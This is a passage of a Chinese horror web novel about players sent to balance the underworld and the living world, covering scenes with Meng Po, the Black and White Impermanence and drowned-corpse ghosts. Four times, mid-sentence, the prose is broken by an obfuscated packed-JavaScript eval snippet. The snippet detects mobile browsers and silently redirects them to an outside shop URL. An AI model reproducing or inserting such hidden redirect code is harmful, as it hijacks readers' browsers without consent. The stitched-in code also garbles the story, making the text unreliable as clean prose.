【五位玩家因各自机缘被拉入此劫,随机分配至阴阳两界生存,子时(23:00-1:00)才能相见。必须在三日之内想办法平息阴阳动荡,否则阴阳两界将彻底崩溃,人间沦为鬼蜮,地府秩序荡然无存,众生皆亡。】 【主线任务:在第三日午夜前完成阴阳调和】 【副线任务:镇压逃窜的厉鬼(阴间玩家需稳定亡魂,阳间玩家需净化被附身的活尸)】 【祝各位存活愉快】 初与序垂下眼,手指无意识地抚摸过系统面板上,《扎人偶》副本获得的奖励品:【血符秘术唯一绑定】。 太巧了。 “有问题?”冬逢初微微侧头看向她。 初与序将技能描述通过耳骨夹共享给他看:【以血为媒,以咒为刃,豁免一切符咒反噬】,和下面代价那栏的猩红小字:【每次使用永久损耗微量生命值(不可逆)】。 “我在《扎人偶》副本里获得的奖励。”初与序轻声解释,“下一个副本就撞上《阴阳渡》,太巧了。” 不等几人弄清楚这“巧合”到底是怎么一回事,列车缓缓停在一片漆黑之中,看不清景象。J23将胳膊搭在方向盘上,回过头冲五人挥挥手:“到站了,祝你们别死了。” 五人站起身,同时踏入副本的瞬间,一股刺骨的阴风毫无预兆地席卷而来。这不是普通的风,它像是有生命一般,裹着凄厉的呜咽声,从四面八方挤压过来,仿佛千万只冰冷的手拉扯着他们的四肢、衣袍,甚至魂魄。 初与序只来得及说一声“小心!”,眼前便骤然一黑。她感觉身体猛地失重,像是被抛入无底深渊,耳畔尽是尖锐的风啸。 【检测到玩家初与序进入副本,请问是否激活「血符秘术」】 【是】 【血符秘术已激活】 【正在载入「血咒师」职业记忆——】 初与序闷哼一声,脑袋顿时疼痛难忍,像是有人用烧红的铁钎直接插入脑髓。无数陌生的知识:符咒的纹路、口诀的韵律、血与灵的平衡法则,全部以最暴烈的方式刻进她的意识。 她下意识地掐诀,指手指刚泛起符咒的微光,就被某种无形的力量硬生生掐灭。 身边的冬逢初反应过来,长剑出鞘半寸,可阴风也死死缠上他的手腕,硬生生将他拽离原地。他低声咳嗽,声音却瞬间被吞没在呼啸的鬼风中。 再睁眼时,世界已经截然不同。 阴间。 初与序单膝跪地,掌心按在冰冷潮湿的泥土上。地面泛着诡异的暗青色,像是被尸水浸透千年。她保持不动,在原地缓了一会,直到心跳恢复正常,才缓缓抬头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16120758|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四周漂浮着幽绿色的鬼火,忽明忽暗,如同无数双窥视的眼睛。远处传来锁链拖拽的声响,夹杂着断断续续的哀嚎,那声音不像是从某个方向传来的,而是直接钻入脑海,撕扯着神经。 冬逢初踉跄着站稳,剑锋映着鬼火的冷光。他抬眼看去,低声道:“......黄泉路?” 话音未落,一团黑影猛地从雾中扑来!那是个残缺的亡魂,半张脸腐烂见骨,喉咙里挤出怪笑。冬逢初横剑斩去,亡魂却在刀光触及的瞬间化作黑烟消散,只留下一道刺耳的尖啸。 初与序站起身,袖中滑落一张符纸。她愣了一下,指尖一抖,符纸无风自燃,青色的火焰照亮她冷峻的眉眼。 “不是黄泉路。”她淡淡道,“是枉死城外围。” 她低头看,发现自己的身体正呈现出一种诡异的半透明状态,像是被水稀释的墨色,隐约能看到骨骼的轮廓。她曲张五指,触感仍在,却仿佛隔着一层纱。 “冬逢初,看你的手。”她提醒。 冬逢初闻言,抬起半透明的手臂,翻转手腕,发现连衣袖都变得如同琉璃般通透。但当他用手指轻轻触碰初与序的肩膀时,却传来真实的触感。 “所以,我们现在算活人,还是死人?”他问。 初与序没有回答,在心里分析现状: 自己和冬逢初被抛入阴间,但呼吸、心跳仍在,显然并非真正的死者。 地府本该只有亡魂,若活人踏入,要么是肉身入阴,但极危险,会逐渐被阴气侵蚀;要么是魂魄离体,那样肉身可能滞留在阳间某处。 他们能清晰感受到自己的躯体,而非虚幻的魂体,但初与序两者都不倾向,她更认为自己和冬逢初处在阴阳夹缝中,即不算活人,也不算死魂。 “我更倾向于我们现在是活死人。”初与序说,“人在濒死时会有49天的过渡状态,既非生亦非死。” 现在她想知道的是,在阳间的三人,是否也面临“非生非死”的状态? 正思考着,脚下突然传来一阵细微的“沙沙”声。低头一看,顿时面无血色。 几只灰白色的甲虫正从地缝中爬出,细长的节肢划动着,外壳上布满尸斑,复眼密密麻麻。那是阳间死去的虫子,被阴气滋养成了这副可怖的模样。 对于有密集恐惧症、并怕虫子的初与序来说,这是最槽糕的情况了。 冬逢初正要往前走,敏锐地察觉到身后人的异样。他回头,看见向来冷静的初与序此刻僵在原地,眼底带着几分慌乱。 “怎么了?”他走到初与序身边,轻声问。 初与序抿着唇,不自觉地往他身后躲了躲:“…怕虫子,麻烦帮我挡一下,谢谢…” “没想到地府也有虫子呢。”冬逢初抬剑轻轻一扫,寒气逼退虫群。他眉眼含笑,“你知道吗?我还从来没来过地府呢。” 初与序闻言沉默,缓缓转头,用“你是不是有病”的眼神看向他。 “不好意思,忘记活人不会来地府了。”冬逢初被她这一眼看得笑意更深,“接下来我们去哪?” “目前我们什么都不知道,先去奈何桥找孟婆,问问阴阳失衡的根源。”初与序说着,看了看方位,向前走去,冬逢初抬脚跟上。 70.阴阳渡 这一路上全是踉跄前行的亡魂,冬逢初侧身避让一队,那些半透明的影子被铁链串成一串,由一名青面鬼差牵着,慢吞吞地往某个方向飘去。鬼差很忙,忙得甚至没空抬头看两人一眼。 这里简直乱套了:远处,往生桥断了半截,忘川河里沉浮着本不该存在的怨灵;本该在十八层地狱受刑的恶鬼,此刻竟有几只在外游荡;那些素来铁面无私的阴差,此刻全部行色匆匆,活像阳间衙门里应付上级检查的差役。 “要不,顺道去阎罗殿看看?”冬逢初指了指远处隐在黑雾中的巍峨殿宇,那里鬼火特别密集,隐约还能听见打斗声。 “我们不是来逛庙会的。”初与序说着,突然拉住他低头。一队牛头马面轰隆隆从他们头顶掠过,铁链上拴着的赫然是几个穿着官服的阴吏,“别走正路。” 冬逢初挑眉,用眼神询问为什么。 “防止黑白无常发现我们是活人。”初与序从袖中抽出一张泛着青光的符纸,“活死人状态骗得过游魂,但骗不过阴差。” 仿佛为了印证她的话,远处传来铁链爆响。一黑一白两道身影从雾中疾驰而过,锁链上穿着十几个惨叫的亡魂。白无常的哭丧棒扫过之处,几个想逃跑的厉鬼顿时灰飞烟灭;黑无常的勾魂锁像活蛇般扭动,把一个藏在血河里的水鬼硬生生拖了出来。 “业务真忙。”冬逢初蹲下身,躲过一道扫过来的鬼火。 没等他站起身,初与序又一把按住他肩膀:“屏息。” 在他们左侧,一队阴兵正押送着上百个戴枷锁的亡魂。那些鬼魂的舌头都垂到胸口,显然是被拔舌地狱刚提审完的罪魂。领头的牛头鬼差突然停下,鼻孔喷出两道黑烟,四下嗅闻。 “活人味?”牛头瓮声瓮气地嘟囔。 初与序一只手按住冬逢初,另一只手快速结印,两人周围的空气突然扭曲起来,像是被罩进了一个透明的茧。牛头狐疑地转了两圈,最终甩了甩铁链,带着队伍继续前进。 “现在我觉得,所有官差都别看见我们比较好。”冬逢初等阴兵走远才开口。 初与序望向奈何桥方向,那里的雾气突然剧烈翻涌起来,隐约可见一个佝偻的老妪正在桥头搅拌大锅。 “走鬼市。”她说,“从望乡台后面绕过去。” 冬逢初刚要开口,就见奈何桥上突然炸开一道血色闪电。原本忙碌的鬼差们齐刷刷跪倒在地,连黑白无常都垂首肃立。一个戴着帝王冠冕的巨大黑影从桥面缓缓升起,十二旒玉藻在阴风中叮当作响。 “阎罗王亲自来视察?”冬逢初微微皱眉。 初与序已经转身走向一条布满眼珠的小路:“所以我说,走鬼市。” 雾气在脚下流淌,冬逢初小心避开路中央一滩暗绿色的液体。水洼里沉着几枚铜钱,钱眼里不时钻出细小的手指,又很快缩回去。 “这边。”初与序的声音很轻,她走在前面,衣角偶尔擦过墙边悬挂的灯笼。那些灯笼是一个个被掏空的头骨,眼眶里跳动着幽蓝的鬼火。 鬼市比想象中热闹,街道两侧挤满了摊贩,只是卖的东西活人用不上:褪色的寿衣、浸血的胭脂、写满咒文的黄纸。有个没下巴的老鬼蹲在路边,正把一缕缕头发编成绳索。见到活人经过,立刻黏了上来。 “生魂?”老鬼盯着两人,“二位,买路钱。” 初与序从面板里取出几张纸钱,递过去,老鬼手忙脚乱去接。 “劳烦问一下,最近阴差为什么这么忙?”冬逢初温声问。 “阎、阎王爷发怒…”老鬼的舌头打着结,“轮回井堵住了…孟婆汤锅漏了。七爷八爷三天没合眼…” 远处传来嘈杂声,两人一回头,就见路中央,四个青面小鬼正抬着一顶猩红的轿子飘过,轿帘被阴风吹起,露出里面坐着的美人,凤冠霞帔,可脖颈以上空空如也。 “无头新娘?”初与序压低声音,“她专门买替死鬼的头。” 正说着,那轿子突然停下。新娘的喜服袖子微微抬起,竟是指向他们这个方向! 冬逢初疑惑:“她这是……” “看上我们了,跑!”初与序一把伸手拉过他,拔腿狂奔。冬逢初反应过来,拔出长剑往后一扫,斩断三只从地底窜出的鬼手。 初与序拽着他撞向一个卖纸扎的摊位,纸马纸轿轰然倒塌,追得最近的两个抬轿小鬼被竹骨架绊了个跟头。但更多的轿夫从雾里涌出来,四肢着地爬得比狗还快。 冬逢初飞起一脚踹翻棺材铺的招魂幡,沉重的木杆砸在身后袭过来的鬼手上。趁着这个空档,两人翻过一道矮墙,滚进堆满陶翁的死角。 他的背刚贴上墙,初与序就整个压上来捂住他的口鼻,示意他闭气。 隔着陶翁的缝隙,两人能看到无头新娘在巷口徘徊,嫁衣下摆滴着脓血,每走一步就在地上落下一朵血花。 初与序抬手,短刀脱手而出,顺势飞向远处的门板,发出嗡鸣声。 下一秒,红影一闪,新娘带着轿夫们扑向刀鸣的方向。 当最后一个鬼影离开巷口时,两人这才松了口气,短刀自动收回初与序的面板。她抬起捂住冬逢初口鼻的手,发现袖口不知何时裂开了一道口子,露出里面泛青的皮肤。 “你被鬼爪抓到了。”冬逢初喘了一口气,从面板拿出绷带给她包扎了一圈。 “快到了。”初与序示意他看前方隐约可见的台阶,“望乡台后面有条小路,直通奈何桥。” 冬逢初点头,跟着初与序走上小路。 小路尽头,雾气忽然淡了。 他们站在一片暗红色的沙地上,面前是那座传闻中的桥。木板早已腐朽,却奇迹般地没有断裂。桥下忘川河水很深,偶尔翻涌时,能看到水下纠缠的白骨。 新死的亡魂们排着队,一个接一个地往桥上走。有个穿嫁衣的姑娘,盖头下还滴着血;后面跟着个书生,脖子歪成奇怪的角度;再后面是个孩童,怀里抱着焦黑的布老虎,小声啜泣。 孟婆就坐在桥头,拿着勺子搅动着一口巨大的铁锅。锅里的汤泛着青绿色,偶尔冒出小泡。 那些亡魂接过汤碗时,有的哭,有的笑,更多的只是麻木地一饮而尽。然后他们的眼睛就空了,像被雨水冲洗过的玻璃。 前方队伍,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16120759|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个穿军装的年轻人,胸前有个碗口大的洞。他接过孟婆汤时突然挣扎起来,碗摔在地上碎了。 “我不能忘!”那亡魂跪在地上哀求,“她还在等我回去……” 孟婆叹了口气,她的手按在亡魂头顶,声音竟带着几分怜悯,“痴儿,你都找了她三世了。” 初与序不再去看,移开目光。她觉得,若自己死后真的站在奈何桥上,一定会摔了那碗汤。 哪怕魂飞魄散。 “我在想。”冬逢初凑近她耳边,温热的呼吸贴近耳畔,“如果有一天真的走到这一步…” “我选择跳进忘川受千年煎熬,不会喝那碗汤。” 初与序转过头,槐树的枯枝在两人头顶摇曳,投下阴影。冬逢初的睫毛上沾了忘川的水汽,在幽光下像缀着细碎的星子。 “忘川水蚀魂削骨,撑不过百年。”她淡淡道。 “撑不过就撑不过吧。”冬逢初轻声说,“至少不会忘记……” 后面的话没有再说,轮到两人了。 初与序向前一步,站在孟婆前面。汤勺在铁锅里缓缓搅动,浑浊的汤水映出她皱纹间疲惫的目光。她头也不抬地递出一碗汤,嗓音枯哑:“喝了便忘了,忘了便走了。” 初与序没有伸手去接,冬逢初站在他身侧,同样静默。 队伍后面的亡魂开始骚动,有人发出疑惑的声音。孟婆这才抬起头,她的眼睛比忘川河还要浑浊,却在看清两人的瞬间闪过一丝清明。 “活人?”她的声音几乎被河水声淹没,“胆子不小。” 初与序微微弯腰道好:“婆婆见谅。” 孟婆笑了,将汤碗随手泼进忘川,河水里顿时响起凄厉的尖叫。她重新舀起一勺汤:“说吧,来地府做什么?” 冬逢初注意到,她问话时,汤勺在锅里画了个奇怪的符号,周围的亡魂突然变得模糊,像是被隔离在了水帘之外。 “阴阳失衡,两界将倾。”初与序直视孟婆的眼睛,“我们来寻根源。” 孟婆的勺子顿了顿,锅里的汤忽然变得漆黑,映出无数破碎的画面:阳间的房屋倒塌、阴间的鬼门破碎、游魂在夹缝中哀嚎…… “镇魂玺碎了。”孟婆幽幽道,“阎君与妖王相争,玺分两半。阴间的在阎罗殿供着,阳间的,被那家伙藏起来了呢。” 两人低头看向锅里,汤面映出一座被藤蔓缠绕的古庙。 初与序还想说什么,孟婆忽然按住她手腕:“无常来了。” 果然,桥那头传来锁链的声响,白无常的高帽子在雾中若隐若现,脚步声越来越近。孟婆又舀起一勺汤,声音苍老:“走吧,活人待久了,魂魄会发霉的。” 初与序和冬逢初推入阴影里,最后一眼看到孟婆正把汤碗塞给下一个瑟瑟发抖的亡魂。 “我们去阎罗殿……”初与序话没说完,忽然顿住。 冬逢初顺着她的视线向桥头看去,黑无常就站在那里,惨白的脸上面无表情,转向两人藏身的阴影处,目光直勾勾落到两人身上。他手中的勾魂锁无风自动,铁链节节相撞,发出脆响。 “……” 71.阴阳渡 三人落入阳间,阴风散去,景明垂下意识抽出手腕上的琴弦。 她站在一条荒芜的村道上,脚下的泥土泛着青黑色。两侧的房屋歪斜欲倒,窗纸破烂地垂挂着。没有村民,没有犬吠,只有风穿过空屋时发出的呜咽。 身后传来枯枝断裂的声响,江意从一堆腐烂的稻草中站起身,拍去衣服上的灰尘:“这里没有一点活人味。” “老子在这儿!” 随歌的声音从高处传来,他蹲在一间茅屋的屋顶,竹扇插在后腰,手里拎着个破旧的灯笼。灯罩里没有蜡烛,却诡异地亮着绿光。 “你们快上来了。”他随手撩了一下黄毛,“全村都是这玩意儿。” 景明垂轻盈地跃上屋顶,江意紧随其后。 屋顶的视野更加清晰,整个村落笼罩在灰蒙蒙的雾气中,每间屋子的门口都挂着相同的绿灯笼。更远处,田埂上倒着几个黑影,看轮廓像是人,却以一种不可能的角度扭曲着。 “这场景咋这么眼熟呢?”随歌眯着眼,“是不是很像《人皮诡村》那个副本?” “这些是引魂灯。”江意从面板里掏出一本泛黄的书册,翻开,点着一幅插图,“《阴符经》有载,用来给新死之魂指路的。” 景明垂拿起灯笼,绿光映在她眉眼上:“活人用不着这个。” “这玩意儿我们也搞不明白啊,总不能再打电话求助向枝冥吧?”随歌苦恼地挠挠头,“不然等回到永冬之城,他会打死我的。” “这不是有记载吗?”景明垂接过江意递来的《阴符经》和七枚铜钱,放在屋顶上。接着用三根琴弦摆成三角状绷直于地,弦上悬着铜钱,每一枚都刻着不同的星宿纹路。 “坎位浸血,离宫生煞…”她轻轻拨动琴弦,铜钱突然立起旋转,发出尖锐的嗡鸣。 江意靠在一边,瞥了眼书页:“书上说,怨灵附尸会有尸蜡味。” “这味道像烧焦的猪油混着烂鱼。”随歌展开扇子,掩着口鼻,“我闻得快吐了。” 铜钱突然同时静止,三枚铜钱叠成塔状,最上方的那枚竟渗出暗红色的液体,顺着琴弦流向景明垂的手指。 “酉时三刻,溺毙之女。”她松开琴弦,铜钱叮当落地,“找出来了,不是普通的怨灵,是水莽鬼。” “就这么找出来了?”随歌不可置信地凑过来,景明垂面前的书页无风自动,停在一幅恐怖的插图上。只见一具肿胀的女尸泡在黄泉水里,头发缠着无数挣扎的小人。 随歌用竹扇抵住下巴,指着书上两个词语:“这‘附尸’和‘水莽鬼’到底是什么玩意儿?听着像下酒菜似的。” 景明垂将《阴符经》翻到泛黄的一页,指着插图上正在腐烂的人形:“附尸者,借尸还魂。这些尸体早该入土,却被怨灵强占着继续行走。” “就像提线木偶,不过线是用怨气做的。” “那‘水莽鬼’呢?”随歌又问。 书页停在一幅阴森的画面上:无数溺毙者在水底纠缠,他们的头发结成网状,困住更多挣扎的亡魂。景明垂解释道:“就是死于水域的怨灵,会不断寻找替死鬼。” 下一秒,三人身后来爬行声,他们立刻跃回地面。 随歌的竹扇猛地展开,警惕地挡在身前。阳光下,他们看清,院井里爬出几十个湿漉漉的人形,皮肤泡得发白,每走一步,身上就掉下一块腐肉。 最前面的女尸抬起头,露出被水草填满的眼窝。 “找到了!”女尸的喉咙里挤出咯咯的笑声,“三个生魂!” “我操啊!”随歌被吓得蹦起来,“这是找我们三个当替死鬼来了?” 景明垂点头:“是这样的。”她神色平静,继续翻开手中的《阴符经》,慢悠悠道:“麻烦你们用物理攻击拖一会,等我看完这上面的内容。” “收到!”随歌笑嘻嘻展开竹扇,和江意向前一步。 晨光本该驱散阴邪,可这荒村的阳光却浮在空气里,照得那些从井口、地缝里爬出的水莽鬼愈发吓人。它们拖着湿漉漉的躯壳,一步步逼近。 随歌一扇子劈开扑来的腐尸,江意的机械手环亮起红光,他将手往下压去,三具浮肿的尸体突然被无形之力压进土里,像被一只看不见的巨掌拍扁。 地面龟裂的缝隙里渗出黑水,他皱眉跃开,出声提醒:“它们在借地气恢复,别让碰到水!” 一具尸体突然从枯井里弹射而出,十指指甲暴长如刀,直取江意咽喉。随歌的竹扇凌空一划,凭空掀起一道裹着冰晶的旋风,将尸体半截身子冻在井口。冰层碎裂时,尸体的上半身还在往前爬,肠子拖了一地。 院墙突然倒塌,十几个头戴斗笠的佝偻身影摇摇晃晃逼近。江意双手交叠,手环震动发出刺耳的嗡鸣。 那些水莽鬼在重力场中爆出血雾。一具特别高大的腐尸却冲破压制,抓向江意。 下一秒,三根琴弦滑来,精准地缠住腐尸的颈椎、腰椎和膝盖,景明垂的声音伴随着翻页声传来:“再撑五分钟。” 随歌腾空而起,竹扇展开,扇骨间发出暴雨。每一滴雨都带着破邪之力,将满地蠕动的黑水灼出青烟。江意趁机后撤,七块磨盘大的石头浮空组成阵型,将最凶戾的三具水莽鬼砸进地底三丈。 景明垂第一次这么直观地感受到:江意和随歌二人配合得很好,几乎不用言语和眼神,就能知道对方下一步计划,永冬之城排名第一的团队荣誉是他们应得的。 她终于翻到最后一页,缓缓合上《阴符经》。指尖一挑,琴弦从地面骤然弹起,七枚铜钱悬空排成北斗状。她眼眸微垂,声音清冷如碎玉: “意哥,震位三丈,布九星坠。” 江意会意,纵身跃至东侧断墙,双手一压,九块青砖从废墟中浮起,砖面浮现出星斗纹路,在虚空中投下错落的光斑。光斑交织处,几只正欲扑来的水莽鬼突然如陷泥沼,动作迟缓。 “随歌。”景明垂的琴弦又指向西方,“坎位布雨,化蜃楼。” “得嘞!”随歌竹扇一展,扇面水墨竟自动流动起来,化作千里烟波图。他旋身挥扇,水汽从扇骨间喷薄而出,在阳光下折射出七彩光晕。 那些狰狞的腐尸突然停下脚步,空洞的眼窝里映出幻想:有的看见生前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16124848|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家园,跌跌撞撞扑向不存在的门扉;有的对着虚空跪拜,仿佛见到庙宇圣佛。 景明垂手腕一振,三根琴弦同时没入土中。她以指代笔,在地上急速勾画,每画一笔,就有铜钱从土里翻出,组成残缺的卦象。当最后一枚铜钱归位,整个荒村突然轻微震动。 “现!” 琴弦破土而出,带着湿冷的空气在空中交织成网,缠住那些被困在幻境中的厉鬼。见情势不妙,所有水莽鬼停止挣扎,转眼间退开,整个村子又恢复宁静。 三人刚喘了口气,荒村的景象突然扭曲起来。 那些被困住的水莽鬼明明已经退散,可四周的雾气却愈发浓重,原本清晰的村道、倒塌的土墙、枯朽的槐树,都像是被一只无形的手揉皱了,边界模糊成一片混沌。 随歌用竹扇拨开眼前缝雾气,扇面刚碰到灰白的雾障,便结了一层薄霜:“这是鬼打墙了?” 景明垂没有说话,她抬眸,望向村口那棵本该离这边很远的老槐树。可现在,它近在咫尺,扭曲的枝干如同鬼爪般探到三人头顶。 “先走走看吧。”她无奈道。 但诡异的是,无论三人往哪个方向走,十步之后必定会回到那棵老槐树下,仿佛整座村子被折叠成一个闭环。 江意试图用手环扭曲重力,却只激起一圈微弱的涟漪。随歌挥扇唤风,可狂风卷到三丈外便如同撞上了无形墙壁,倒卷回来的气流将他掀翻。 “AUV!痛死我了!”随歌捂着腰从地上爬起来,“景明垂,你有没有什么可以破解‘鬼打墙’的办法?” 景明垂闭目凝神,琴弦在腕间缠绕了几圈。她淡淡开口:“左七步,坎位。” 江意和随歌同时向左跨出七步。 脚下的土地突然下陷,血泥中伸出无数苍白手臂。琴弦飞速扫过,那些手臂断裂落地。但转眼间,更多的手臂又从四面八方抓来。 景明垂抬起手,三根琴弦立起,指南针般指向三个方向。她忽然明白了什么,道:“这是‘三才锁魂阵’,用整个村子当阵眼。” 随歌一扇劈开扑来的鬼手:“所以咋破解这玩意儿?” 景明垂不答,她咬破指尖,一滴血珠坠在琴弦上。血珠顺着弦线滑向其中一根震动最激烈的弦,在弦中央凝而不落。 “找到了。”她转头,“生门在槐树树干,那里嵌着阵眼。” 槐树周围的空气扭曲得最厉害,树干时远时近。江意试图用重力场固定它,可手环刚刚锁定目标,槐树就分裂成七八个重影,真伪难辨。 景明垂松开琴弦。 绷直的琴弦在空中弹出一道音浪,所过之处,空间如镜面般出现裂痕。她双手结印,三根琴弦竟自行交织,在三人面前组成了一个“破”字。 “退后。” 弦音骤响! “破!” “破”字琴印轰然撞向老槐树,在接触树干的瞬间,整片空间发出玻璃碎裂的声响。鬼打墙的幻象片片剥落,露出原本的荒村景象。 景明垂低声咳嗽,唇角溢出血丝。她收回琴弦,也一同把《阴符经》收好。 72.阴阳渡 阴风扑面,初与序的衣袖已经被地府鬼火灼烧出焦痕。她与冬逢初在枉死城的窄巷间疾奔,身后铁链拖地的声响如影随形。 他们拐进左侧小道,可转角处,白无常的高帽已经从雾中浮现。 “活人擅闯地府,当入拔舌狱!”哭丧棒横扫,带起刺骨阴风。 初与序反手甩出三张符纸,符火炸开的瞬间,黑无常的勾魂锁已经缠上冬逢初的脚踝。他挥剑斩索,铁链却如活蛇般缠上刀身,寒气顺着手臂直窜心脉。 初与序短刀划破掌心,鲜血滴落在掌心符咒上。血符燃起青焰,逼得黑白无常退后半步。 两人趁机撞进一间纸扎铺子,纸人童男童女咧着鲜红的嘴,眼珠骨碌碌转动。初与序短刀横斩,所有纸人齐颈而断,可断口处涌出的是黑色鲜血。 “上梁。”初与序取出符纸贴柱,两人踏着符阶跃上房梁。瓦片缝隙里突然探出无数鬼手吓唬人,屋外传来整齐的踏步声。 透过窗纸破洞,可见一队阴兵正包围店铺,牛头马面手持钢叉立于阵前。 “现在我们什么也没干,光逃命来了。”初与序喘着气,继续道,“我在想……” 屋顶突然塌陷! 一个巨大虚影笼罩下来,朱砂笔凌空一划,两人顿时觉得千斤压低。冬逢初的长剑当啷落地,初与序的符纸在手中自燃成灰,而短刀自动收回面板。 黑无常的锁链缠上二人脖颈:“生魂离体逾十二时辰,该归案了。” “且慢!” 就在黑无常的锁链即将收紧时,初与序忽然开口。她的声音并不大,甚至有点虚弱,却打破了阴间的死寂。 白无常的哭丧棒停在半空,黑无常的锁链也停滞住,示意初与序讲。 初与序掀起眼皮,眸中映着阴间幽绿的鬼火,竟显出几分冷峻的威势。她缓缓道:“我们擅闯地府,理当受罚。但眼下阴阳失衡,亡魂躁动,与其将我们拖去受刑,不如让我们将功折罪。” “我们可以帮忙镇压这些亡魂。” 黑无常轻轻抖了抖锁链,发出轻微的嗡鸣,显然在犹豫。白无常细长的眼睛眯了眯,冷笑道:“活人镇压亡魂?笑话?” 冬逢初此刻也抬起头,尽管脖颈仍被锁链缠绕,声音却温和平静:“既然我们有本事闯入阴间,自然也有本事替你们收拾烂摊子。不妨带我们去试试,若我们镇压不了,再拖走也不迟。” 黑白无常对视一眼,四周阴风盘旋,似在无声交流。 半晌,黑无常冷哼一声,锁链微微松动:“倒是有几分胆色。” 白无常的哭丧棒轻轻一挑,初与序和冬逢初身上的束缚骤然卸去大半:“好,那就带你们去‘百鬼渊’。若镇压不住,便让你们亲自尝尝被万鬼撕咬的滋味。” 他们没再废话,转身引路。冬逢初捡起地上的长剑,和初与序飞快跟上。 远处传来此起彼伏的尖啸声,千万个亡魂在同时哀嚎。阴风卷着血腥味扑面而来,冬逢初下意识屏住呼吸,握紧了剑柄。 “前面就是百鬼渊。”白无常的声音里带着一丝讥讽,“活人进去,十死无生。” 初与序神色未变,淡淡道:“带路。” 雾气散开,可怖的景象映入眼帘。 百鬼渊并非真正的深渊,而是一片无边无际的黑色沼泽。沼泽中,无数亡魂挣扎沉浮,有的只剩白骨,有的皮肉半腐,有的甚至还保持着死前的惨状。它们互相撕扯、啃噬,怨气凝结成实质的黑雾,在沼泽上空盘旋不散。 而沼泽边缘的封印已经破损,几道裂痕中不断有亡魂爬出,正向阴间其他区域蔓延。 “阴司鬼差日夜修补,仍镇压不住。你们若有本事,补上那道裂缝,就算你们赢。”黑无常冷声道。 冬逢初拔出长剑,剑锋划破阴风,他看向初与序,用眼神询问。 初与序右手从腰间拔出短刀,左手从袖中抽出三张符纸:“以符为引,以血为媒,重画镇魂印。” 黑无常闻言扬眉:“活人的血倒是有点意思。” 白无常笑道:“那就试试看。” 话音未落,初与序已经咬破指尖,一滴鲜血坠入沼泽。 霎时间,整片百鬼渊沸腾了! 亡魂们像是嗅到了活人的气息,疯狂地向两人涌来。腐烂的手臂、森白的骨爪、扭曲的鬼脸,层层叠叠扑向岸边。 冬逢初长剑横扫,将最先冲上来的三只厉鬼拦腰斩断。鬼影还未消散,他已一记直刺,长剑贯穿一只从侧面扑来的腐尸头颅。初与序则身形如电,短刀划过一道凌厉的弧线,刀锋所过之处,亡魂如割草般倒下。 但亡魂实在太多,刀剑刚清出一片空地,更多的鬼影又填补上来。一只剩下半截身子的水鬼突然从沼泽中窜出,利爪直掏冬逢初心脏。初与序短刀脱手而出,钉入水鬼眉心。 她单膝跪地,指尖沾血,在沼泽边缘飞速勾画符咒纹路。每一笔落下,都有一道金光闪过,亡魂触之即散。但活人血在阴间消耗极快,她的脸色也因此越来越苍白。 黑白无常站在远处冷眼旁观,并不打算插手。 冬逢初的剑势陡然一变,身形在鬼影中穿梭,长剑的每一击都精准命中亡魂要害。 终于,初与序画完最后一笔,猛地拍向地面! “镇!” 血符骤亮,金光如网,瞬间覆盖整片沼泽。亡魂们发出凄厉的哀嚎,被硬生生压回沼泽深处。那道裂痕也在金光的照耀下缓缓愈合。 四周安静下来,像按下了暂停键。 初与序踉跄了一下,冬逢初迅速扶住她。她的指尖仍在滴血,但朝黑白无常露出一个笑容:“够资格将功折罪了吗?” 黑白无常沉默片刻,黑无常哼了一声:“够了,算你们有本事。” 白无常深深看了两人一眼,目光在冬逢初身上停留片刻:“活人能在阴间做到这一步,倒是罕见。说吧,你们有什么打算?” 冬逢初收剑归鞘,抬眸看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16124849|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向黑白无常,声音平静:“我们与阴司本无仇怨,来此只为寻物。若二位应许,我们绝不扰乱地府秩序。” “可以。”白无常开口,“但有三条规矩。” 初与序挑眉:“说来听听。” “其一,不得靠近阎罗殿十丈之内。”黑无常的锁链在空中划出一道界限,“其二,子时到寅时,必须回到望乡台。” 冬逢初点头:“那第三条?” 